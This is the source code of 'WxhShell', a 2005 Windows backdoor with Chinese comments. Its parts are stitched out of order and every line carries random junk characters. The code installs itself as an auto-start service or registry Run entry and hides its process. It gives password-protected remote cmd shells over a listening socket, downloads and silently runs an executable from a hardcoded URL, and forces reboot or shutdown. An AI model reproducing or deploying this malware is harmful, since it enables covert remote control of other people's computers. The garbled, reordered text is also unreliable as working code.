    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;COZHj9b  
    else { & l NHNu[  
    closesocket(wsh); C!aK5rqhv  
    ExitThread(0); |{H-PH*Iz  
    } ~F9WR5}]  
    break; ^ql+l~  
    } 3ws}E6\D  
  // 获取shell J2adA9R/,  
  case 's': { 6s|4'!  
    CmdShell(wsh); j{u! /FD  
    closesocket(wsh); 1?bX$$y l;  
    ExitThread(0);  *$o{+YP  
    break; xYCX}bksh  
  } M/mUY  
  // 退出 P(&9S`I  
  case 'x': { VwV`tKit  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -964#>n[  
    CloseIt(wsh); GS4 HYF  
    break; ce\ F~8y  
    } -l` 1j6  
  // 离开 f*^)0Po  
  case 'q': { , *A',  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *eo<5YUHt  
    closesocket(wsh); wIT}>8o  
    WSACleanup(); )Vb_0n=^  
    exit(1); 79 ZBVe(}  
    break; -O-qEQd  
        } xl~%hwBd  
  } S<V__Sv  
  } PME ?{%&  
0cm+:  
  // 提示信息 ^#VyIF3q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gr")Jw7  
} r*!sA5  
  } T7{Z0-  
.<C}/Cl  
  return; *n=NBkq%/!  
} xW;-=Q  
GKNH{|B$D  
// shell模块句柄 .Z"p'v  
int CmdShell(SOCKET sock) yEe4{j$  
{ N{<=s]I%x  
STARTUPINFO si; s]=s|  
ZeroMemory(&si,sizeof(si)); d8? }69:h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1wpeYn7>W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6KD  
PROCESS_INFORMATION ProcessInfo; jWd 7>1R?  
char cmdline[]="cmd"; o(I[_oUy\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 007SA6xq  
  return 0; [fU2$(mT+  
} )MKzAAt~  
IP`;hC  
// 自身启动模式 `_6!nk q8  
int StartFromService(void) jtk2>Ol   
{ G,8LF/sR  
typedef struct Jyx6{O j  
{ / ` 7p'i  
  DWORD ExitStatus; /f9jLY +  
  DWORD PebBaseAddress; >~5>)yN_a1  
  DWORD AffinityMask; pOn>m1|  
  DWORD BasePriority; .1.Bf26}d  
  ULONG UniqueProcessId; 8S>T1st  
  ULONG InheritedFromUniqueProcessId; J['paHSF  
}   PROCESS_BASIC_INFORMATION; &\$l%icuo  
&r6VF/  
PROCNTQSIP NtQueryInformationProcess; }7Si2S  
`V@{#+X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %/:{x()G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fL8+J]6A6  
p*rBT,'  
  HANDLE             hProcess; pNo<:p  
  PROCESS_BASIC_INFORMATION pbi; 05\A7.iy  
vmW4 3K;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h,q%MZ==^s  
  if(NULL == hInst ) return 0; L_.BcRy  
>Rw[x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dE*n!@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &P%3'c}G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r[zxb0YA  
&WIiw$@  
  if (!NtQueryInformationProcess) return 0; GQTMQXn(  
J(0.eD91v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h$p]#]uMb  
  if(!hProcess) return 0; H[guJ)4#@  
i6zfr|`@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e`#c[lbAAM  
Y?2I /  
  CloseHandle(hProcess); f~u]fpkz  
4}{HRs?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SLL%XF~/Sb  
if(hProcess==NULL) return 0; J'O</o@e  
Z@=1-l  
HMODULE hMod; wj/\ !V!  
char procName[255]; <h2WM (n  
unsigned long cbNeeded;  = uZ[  
nJ#uz:(w,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ jb6  
#]i*u1  
  CloseHandle(hProcess); /a%5!)NE%  
&,xN$  
if(strstr(procName,"services")) return 1; // 以服务启动 h#?L6<*tm  
Us'm9 J  
  return 0; // 注册表启动 rS>JzbWa  
} Z;bzp3v  
#J]u3*T n|  
// 主模块 ]&1Kz 2/  
int StartWxhshell(LPSTR lpCmdLine) 3~\mP\/4v  
{ ZD] ^Y}  
  SOCKET wsl; EZz Ox(g  
BOOL val=TRUE; @<e+E"6  
  int port=0; V+X>t7.Q  
  struct sockaddr_in door; Z&%#,0>]  
w4 <FC$  
  if(wscfg.ws_autoins) Install(); oBr/CW  
vBUx )l  
port=atoi(lpCmdLine); RF 4u\ \  
(bi}?V*  
if(port<=0) port=wscfg.ws_port; @^:R1c![s  
uh3%}2'P  
  WSADATA data; G}Cze Lw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cs7YD~,  
Crmxsw.W^Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l;: L0(('  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'D8WNZ8Q  
  door.sin_family = AF_INET; w1/p wzn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U7.3`qd"  
  door.sin_port = htons(port); ~]DGf(   
V<AT"vU[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3qPj+@  
closesocket(wsl); j0!Z 20  
return 1; m]BxGwT=m  
} A^2VH$j]+  
kJqgY|  
  if(listen(wsl,2) == INVALID_SOCKET) { Qwb=N  
closesocket(wsl); *D1 ^Se  
return 1; mc;Z#"kf  
} - *!R  
  Wxhshell(wsl); y~An'+yBa  
  WSACleanup(); v' 7,(.E  
ahA21W` k  
return 0; Zf |%t  
kt.z,<w5O  
} ps"DL4*  
1+RG@Cp  
// 以NT服务方式启动 8[U1{s:J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pw*<tXH!  
{ V} Y %9V  
DWORD   status = 0; `3^ *K/K\  
  DWORD   specificError = 0xfffffff; u?Jw)`  
n1 `D:XrE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W~E%Eq3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VS<E?JnbFV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [s$vY~_  
  serviceStatus.dwWin32ExitCode     = 0; q' 77BRD3  
  serviceStatus.dwServiceSpecificExitCode = 0; 6wx;grt'Z  
  serviceStatus.dwCheckPoint       = 0; *|ez|*-  
  serviceStatus.dwWaitHint       = 0; :l8n)O3  
yTwv2l;U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L6Ykv/V  
  if (hServiceStatusHandle==0) return; NS @j`6/U  
-;cZW.<  
status = GetLastError(); W"+*%x  
  if (status!=NO_ERROR) "5u*C#T2$  
{ BpZE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ps5;  
    serviceStatus.dwCheckPoint       = 0; qc\]~]H]r  
    serviceStatus.dwWaitHint       = 0; "  m<]B  
    serviceStatus.dwWin32ExitCode     = status; LO<R<zz  
    serviceStatus.dwServiceSpecificExitCode = specificError; @6 uB78U4O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k'{'6JR  
    return; .ml24SeC  
  } %N_5p'W  
DcA{E8Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *,X;4?:,  
  serviceStatus.dwCheckPoint       = 0; jIwz G+)$P  
  serviceStatus.dwWaitHint       = 0; 0P^RciC f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (:Rj:8{  
} 7J,j  
I}Uj"m`>  
// 处理NT服务事件,比如:启动、停止 ED&>~~k)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t7tX<|aN  
{ |u8IQR'B  
switch(fdwControl) FuiG=quY  
{ Hj't.lg+j  
case SERVICE_CONTROL_STOP: wl H6  
  serviceStatus.dwWin32ExitCode = 0; z[X>>P3<n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $L_-U~^  
  serviceStatus.dwCheckPoint   = 0; 1@sy:{ d`  
  serviceStatus.dwWaitHint     = 0; M_*"g>Z  
  { ec+&K?T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V  @8+  
  } 3maiBAOKz  
  return; P2pdXNV  
case SERVICE_CONTROL_PAUSE:  i1$ $86  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G=Hvh=K(  
  break; OAO|HH  
case SERVICE_CONTROL_CONTINUE: @igr~hJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Nz2K[  
  break; fVx<f.xuW  
case SERVICE_CONTROL_INTERROGATE: o^FlQy\  
  break; U;u@\E@2  
}; ~kPHf_B;z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]W39HL  
} $q,2VH:Ip  
$(B|$e^:(  
// 标准应用程序主函数 ^N#B( F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \=PnC}7I  
{ } M-^A{C\%  
#'[4k:  
// 获取操作系统版本 7{>mm$^|V  
OsIsNt=GetOsVer(); 9$ZQuHSw 7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8&<C.n KP  
&SuWmtq  
  // 从命令行安装 _Y@vO  
  if(strpbrk(lpCmdLine,"iI")) Install(); ewHk (ru  
%^tKt  
  // 下载执行文件 wb~B Y  
if(wscfg.ws_downexe) { b>SG5EqU@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TtTp ,If  
  WinExec(wscfg.ws_filenam,SW_HIDE); =REMSe j  
} &{E1w<uv  
y"6;O0  
if(!OsIsNt) { Z6C!-a  
// 如果时win9x,隐藏进程并且设置为注册表启动 DCr&%)Ll  
HideProc(); jez=q  
StartWxhshell(lpCmdLine); LG3D3{H(.  
} j=b?WNK  
else 8AL`<8$  
  if(StartFromService()) /vC|_G|{  
  // 以服务方式启动 =y+gS%o$  
  StartServiceCtrlDispatcher(DispatchTable); J=?`~?Vbo  
else 7u7`z%  
  // 普通方式启动 Ug(;\*yg  
  StartWxhshell(lpCmdLine); A)6xEeyR  
Aiyx!Q6vT  
return 0; $Y'}wB{pc  
} F6XrJ?JM  
[Z~h!}  
Q(v*I&k  
W;%$7&+0  
=========================================== `o|Y5wQ@  
,5}%_  
@p` *MWU  
fNR2(8;}  
q,S[[{("  
ZcJa:  
" G*;?&;*  
wJc~AP)I%z  
#include <stdio.h> [0vgA#6I  
#include <string.h> *Rm"3S  
#include <windows.h> L_4c~4  
#include <winsock2.h> ; '6`hZ  
#include <winsvc.h> WEy$SN+P  
#include <urlmon.h> { 3,_i66  
0Va+l)F  
#pragma comment (lib, "Ws2_32.lib") ZAATV+Z  
#pragma comment (lib, "urlmon.lib") DzZEn]+zt  
].ZfTrM]  
#define MAX_USER   100 // 最大客户端连接数 >Sc)?[H  
#define BUF_SOCK   200 // sock buffer _[%2QwAUj*  
#define KEY_BUFF   255 // 输入 buffer J>D+/[mFt  
ctg U  
#define REBOOT     0   // 重启 'N aNh0y  
#define SHUTDOWN   1   // 关机 Rhw- 49AWx  
%vF,wQC  
#define DEF_PORT   5000 // 监听端口 l-^2>K[  
s"OP[YEke/  
#define REG_LEN     16   // 注册表键长度 gR5 EK$  
#define SVC_LEN     80   // NT服务名长度 jGm`Qg{<  
ky4 ;7RK  
// 从dll定义API `G/%U~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aMv?D(Meb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zEM  c)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q]h.{nN#PK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b0VEMu81k  
Q[PVkZ  
// wxhshell配置信息 8Dy5g  
struct WSCFG { 0FN;^hP5|  
  int ws_port;         // 监听端口 tL#~U2K  
  char ws_passstr[REG_LEN]; // 口令 _\"2Mdk`]  
  int ws_autoins;       // 安装标记, 1=yes 0=no _PPZ!r(  
  char ws_regname[REG_LEN]; // 注册表键名 QK~44;LVIJ  
  char ws_svcname[REG_LEN]; // 服务名 FS'|e?WU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8-#_xsZ^;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ov3FKMG?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PI G3kJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "rl(%~Op  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "aL.`^.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x."R_>  
{beu  
}; D;1?IeS  
90"&KDh  
// default Wxhshell configuration |.#G G7F^S  
struct WSCFG wscfg={DEF_PORT, nj1TX  
    "xuhuanlingzhe", I8x,8}o>V  
    1, w]@H]>sHd  
    "Wxhshell", jm ORKX+)  
    "Wxhshell", ?T1vc  
            "WxhShell Service", q g2 fTe  
    "Wrsky Windows CmdShell Service", og[cwa_  
    "Please Input Your Password: ", ~`Y!_'(x  
  1, 1j_gQ,'20  
  "http://www.wrsky.com/wxhshell.exe", o}4~CN9}  
  "Wxhshell.exe" *VX"_C0Jy=  
    }; gPE` mE  
cy-o@U"s8  
// 消息定义模块 ']bw37_U,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kuq&8f~!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2`'g 9R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~:krJ[=  
char *msg_ws_ext="\n\rExit."; qkbGM-H%U  
char *msg_ws_end="\n\rQuit."; zH5pe  
char *msg_ws_boot="\n\rReboot..."; n2V $dF4m  
char *msg_ws_poff="\n\rShutdown..."; #}p@+rkg2  
char *msg_ws_down="\n\rSave to "; N%f% U  
n 9>**&5L  
char *msg_ws_err="\n\rErr!"; C ^IPddw>  
char *msg_ws_ok="\n\rOK!"; W5*Kq^6Pd  
b)+;=o%  
char ExeFile[MAX_PATH]; ""f'L,`{.  
int nUser = 0; P:#KBF;a  
HANDLE handles[MAX_USER]; oBS m>V  
int OsIsNt; F$sDmk#  
JW},7Ox  
SERVICE_STATUS       serviceStatus; _j\GA6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MvKr~  
=vs]Kmm  
// 函数声明 /2f  
int Install(void); RVN;j4uMg  
int Uninstall(void); >d3`\(v-  
int DownloadFile(char *sURL, SOCKET wsh); WR"?j 9y_q  
int Boot(int flag); g:fkM{"{  
void HideProc(void); nl-y0xD9c  
int GetOsVer(void); M!wa }  
int Wxhshell(SOCKET wsl); @B`nM#X#  
void TalkWithClient(void *cs); .fgVzDR|+  
int CmdShell(SOCKET sock); >~;= j~  
int StartFromService(void); V8hmfV~=]P  
int StartWxhshell(LPSTR lpCmdLine); F$j?}  
OZR{+YrB^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( 5 BZZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ 'ws/(  
h-<Qj,L{W  
// 数据结构和表定义 |}o6N5)  
SERVICE_TABLE_ENTRY DispatchTable[] = cx ~XG  
{ ~@\sN+VS  
{wscfg.ws_svcname, NTServiceMain}, |SfCuV#g/<  
{NULL, NULL} 60R]Q  
}; q4T98s2J  
~H c5M5m  
// 自我安装 ym8pB7E7%  
int Install(void) tfCK^{  
{ qKD Nw8>  
  char svExeFile[MAX_PATH]; b5S4C2Ynq  
  HKEY key; fm0]nT   
  strcpy(svExeFile,ExeFile); #F=!g?  
sj3[ny;b  
// 如果是win9x系统,修改注册表设为自启动 eakQZ-Q  
if(!OsIsNt) { 2b/Cs#-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BR-4L2[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l4> c  
  RegCloseKey(key); ES\=MO5a7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }60/5HNr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FN/siw(?3  
  RegCloseKey(key); x }@P  
  return 0; ZY|$[>X!  
    } F!<!)_8Q  
  } 4-?zW  
}  u]OYu  
else { T0{X,  
+1]A$|qyW  
// 如果是NT以上系统,安装为系统服务 |=:<[FU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  20]p<  
if (schSCManager!=0) xE rAs}|  
{ Kk).KgR  
  SC_HANDLE schService = CreateService "vX\Q rL  
  ( F/cA tT.M?  
  schSCManager, mqtYny'  
  wscfg.ws_svcname,  [a_o3  
  wscfg.ws_svcdisp, 2;K2|G7  
  SERVICE_ALL_ACCESS, N 9s+Tm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4t-l@zFWb  
  SERVICE_AUTO_START, v_Hy:O}R  
  SERVICE_ERROR_NORMAL, *L~?.9R  
  svExeFile, Sf*gAwnW  
  NULL, cua( w  
  NULL, N@Q_5t0bk  
  NULL, \ B'AXv 6  
  NULL, 8F&Y;  
  NULL ~)VI` 36X  
  ); R9  Y@I  
  if (schService!=0) 4hxa|f  
  { dvM%" k  
  CloseServiceHandle(schService); w"37sv  
  CloseServiceHandle(schSCManager); m Ga:~x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6Jq3l_  
  strcat(svExeFile,wscfg.ws_svcname); hV+=hX<h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]V)*WP#a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PuhvJHT  
  RegCloseKey(key); !b=W>5h  
  return 0; S503b*pM  
    } GKKDO+A=!  
  } rHi4Pw{L  
  CloseServiceHandle(schSCManager); Cg|\UKfy$  
} ; !C_}P  
} t .}];IJP  
1rS8+!9C  
return 1; %P{3c~?DH  
} *<[zG7+&[  
&E1m{gB(  
// 自我卸载 Yep~C %/}  
int Uninstall(void) &8Z .m,s]  
{ BOh^oQh  
  HKEY key; ef)zf+o  
:wN !E{0j  
if(!OsIsNt) { C#4_`4{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~6 o<HO  
  RegDeleteValue(key,wscfg.ws_regname); 2% /Kf}+  
  RegCloseKey(key); d WY{x47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #a2gRg  
  RegDeleteValue(key,wscfg.ws_regname); AW E ab  
  RegCloseKey(key); G')zDx  
  return 0; =LODX29  
  } L|}s Z\2!  
} ~@)s)K  
} >x3lA0m  
else { rlA/eQrS  
#vhN$H:&q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <5,|h3]-#  
if (schSCManager!=0) &r~s3S{pQ  
{ r/HCWs|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .c:h!-D;  
  if (schService!=0) 3Pllxq<n  
  { 3!osQ1  
  if(DeleteService(schService)!=0) { "DA%vdu  
  CloseServiceHandle(schService); Lr 5{c5M  
  CloseServiceHandle(schSCManager); 9X%: ){  
  return 0; 1_#;+S  
  } uo J0wG.  
  CloseServiceHandle(schService); wwywiFj  
  } {=?(v`88  
  CloseServiceHandle(schSCManager); d6 ef)mw  
} gua7<z6=eh  
} /PeT4hW}  
Rw%?@X3m]  
return 1; )dqNN tS  
} 11YJ W-V  
mO]>]   
// 从指定url下载文件 DyCzRkH  
int DownloadFile(char *sURL, SOCKET wsh) 'j<u0'K@  
{ abm 3q!a-  
  HRESULT hr; -{ 1P`&G  
char seps[]= "/"; H@Ot77(*  
char *token; FRZ]E)9Z]b  
char *file; Mmu#hb|W  
char myURL[MAX_PATH]; r A(A$VR  
char myFILE[MAX_PATH]; \U]K!K=  
Q,^/Lm|]k  
strcpy(myURL,sURL); `6J7c;:  
  token=strtok(myURL,seps); WV.hQX9P  
  while(token!=NULL) iiMS3ueF  
  { =g! Pw]  
    file=token; Xi) ;dcNJ  
  token=strtok(NULL,seps); W h9L!5  
  } hN6wp_  
sdg2^]|  
GetCurrentDirectory(MAX_PATH,myFILE); (C#0 ML  
strcat(myFILE, "\\"); *2->>"kh  
strcat(myFILE, file); vm_]X{80;  
  send(wsh,myFILE,strlen(myFILE),0); 7=^}{  
send(wsh,"...",3,0); Yq6 @R|u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m^!j)\sM5  
  if(hr==S_OK) su%-b\8K  
return 0; L r"cO|F  
else  gmbRH5k  
return 1; 6h)_{| L)  
K+!e1 '  
} U\H[.qY-  
v0oVbHO5<  
// 系统电源模块 ]zaTX?F:  
int Boot(int flag) 7;AK=;  
{ ||QK)$"  
  HANDLE hToken; x4c|/}\)*  
  TOKEN_PRIVILEGES tkp; ;9mRumLG"  
h`\ $8 oV  
  if(OsIsNt) { 4tLdqs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 03v+eT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tm.60udbo  
    tkp.PrivilegeCount = 1; .ZF%$H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mz6]=]1w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CO@G%1#  
if(flag==REBOOT) { B2Y.1mXq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n'V{  
  return 0; BYEZ[cM  
} vRC >=y*=  
else { VfpT5W<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \]f+{d- &  
  return 0; }i"[5:  
} ial{A6X  
  } tUx H 6IS  
  else { /Q(boY{  
if(flag==REBOOT) { A1+:y,wXs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  FNH)wk  
  return 0; -_t4A *  
} $rcv@-l  
else { T.;{f{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E|c(#P{  
  return 0; XN Uw  
} E7iAN\vo  
} '[liZCg  
gjG SI'M0B  
return 1; a($7J6]M  
} [%bGs1U  
?K7uy5Y  
// win9x进程隐藏模块 AE~a=e\x  
void HideProc(void) wW*7  
{ }wiyEVAh{  
xtP:Q9!N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u~M$<|;  
  if ( hKernel != NULL ) i;9X_?QF  
  { B_ict)}ld  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p%mHxYP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l%_K$$C  
    FreeLibrary(hKernel); f4P({V  
  } @z ",1^I  
\OkZ\!<hg  
return; q-;Y }q  
} ;]grbqXVE  
dX/7n=  
// 获取操作系统版本  *1["x;A  
int GetOsVer(void) e7"T37  
{ ZN)EbTpc\a  
  OSVERSIONINFO winfo;  4t(/F`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  ]Pe>T&  
  GetVersionEx(&winfo); 2mzn{S)nV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q,)V0Ffe[|  
  return 1; gQ0,KYmI3_  
  else .8s-)I  
  return 0; gC2}?nq*  
} wO%lM  
LcvczS T  
// 客户端句柄模块 (CIcM3|9C  
int Wxhshell(SOCKET wsl) ^wBlQmW7J  
{ q]OIP"yv  
  SOCKET wsh; 7s6+I_n  
  struct sockaddr_in client; bC:sd2s  
  DWORD myID; A{q%sp:3~  
b]z_2h~`  
  while(nUser<MAX_USER) BM?!?  
{ N\__a~'0p  
  int nSize=sizeof(client); '(B -{}l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )/ 'WboL  
  if(wsh==INVALID_SOCKET) return 1; "dIWHfQB  
J.h` 0$!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m0;j1-t  
if(handles[nUser]==0) N2s"$Ttq  
  closesocket(wsh); Ygk_gBRiC  
else K' `qR  
  nUser++; ^ 3 4Ng  
  } EF:ec9 .  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D^O[_/i&  
2fr%_GNu  
  return 0; J@/4CSCR]  
} HL"c yxe  
x+4K,r;  
// 关闭 socket VI4mEq,V  
void CloseIt(SOCKET wsh) w>f.@luO4  
{ $7AsMlq[(  
closesocket(wsh); Ywhhs }f  
nUser--; ]dGH i \  
ExitThread(0); GYQ:G=  
} {2:baoG-  
g^A^@~M  
// 客户端请求句柄 ?P[:,0_  
void TalkWithClient(void *cs)  DlCN  
{ Hb*Z_s  
j}.gK6Yq*  
  SOCKET wsh=(SOCKET)cs; C2rG3X^~Jm  
  char pwd[SVC_LEN]; cwvJH&%0  
  char cmd[KEY_BUFF]; 0-uj0"r`  
char chr[1]; P<R^eLZ<&  
int i,j; OAq-(_H  
p]S'pzh  
  while (nUser < MAX_USER) { yWRIh*>nE  
Awfd0L;9  
if(wscfg.ws_passstr) { 16Ka>=G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UeCi{ W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JzN "o'  
  //ZeroMemory(pwd,KEY_BUFF); WDxcV%  
      i=0; LI}e_= E  
  while(i<SVC_LEN) { )2y [#Blo  
)R `d x  
  // 设置超时 83vZRQw  
  fd_set FdRead; >b\|%=(x!*  
  struct timeval TimeOut; v0) %S  
  FD_ZERO(&FdRead); 0);5cbV7i  
  FD_SET(wsh,&FdRead); -<x%  
  TimeOut.tv_sec=8; ,?m@Ko7Y  
  TimeOut.tv_usec=0; YC%x W*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dl=)\mSFjF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &J/!D#  
Cw:|(`9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oO[eer_S-  
  pwd=chr[0]; qmpT G:+  
  if(chr[0]==0xd || chr[0]==0xa) { GtmoFSZ  
  pwd=0; ?84f\<"  
  break; ~H\P0G5GA  
  } hb8oq3*x  
  i++; /[Fk>Vhp  
    } HkRvcX 5  
M)K!!Jqh  
  // 如果是非法用户,关闭 socket )2"g)9!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ("=q-6$G  
} FDuA5At  
f 1SKOq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O2Y|<m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^~l@ _r  
[MAPa  
while(1) { %6lGRq{/?  
Oq<3&*  
  ZeroMemory(cmd,KEY_BUFF); !8|r$mN8  
bhRa?wuoY  
      // 自动支持客户端 telnet标准   R $<{"b  
  j=0; DHn\ =M  
  while(j<KEY_BUFF) { w;$elXP|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iDDq<a.A  
  cmd[j]=chr[0]; >j]Gz-wC  
  if(chr[0]==0xa || chr[0]==0xd) { vRaxB  
  cmd[j]=0; 4 w*m]D{  
  break; }L Q%%  
  } mgjcA5z  
  j++; gF9GU5T:  
    } @+~URIG)  
[%LGiCU]  
  // 下载文件 `@\FpV[|P  
  if(strstr(cmd,"http://")) { ?-&k?I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?7CdJgJp  
  if(DownloadFile(cmd,wsh)) Ye|gW=FUR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?FJ ~pu  
  else G@D8 [  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (oiQ5s^f  
  } ec^{ez@`  
  else {  3k6Dbz  
ZiKO|U@/  
    switch(cmd[0]) { uHf1b?W  
  .I{u[ "  
  // 帮助 ;gHcDnH)  
  case '?': { e"EGqn&!  
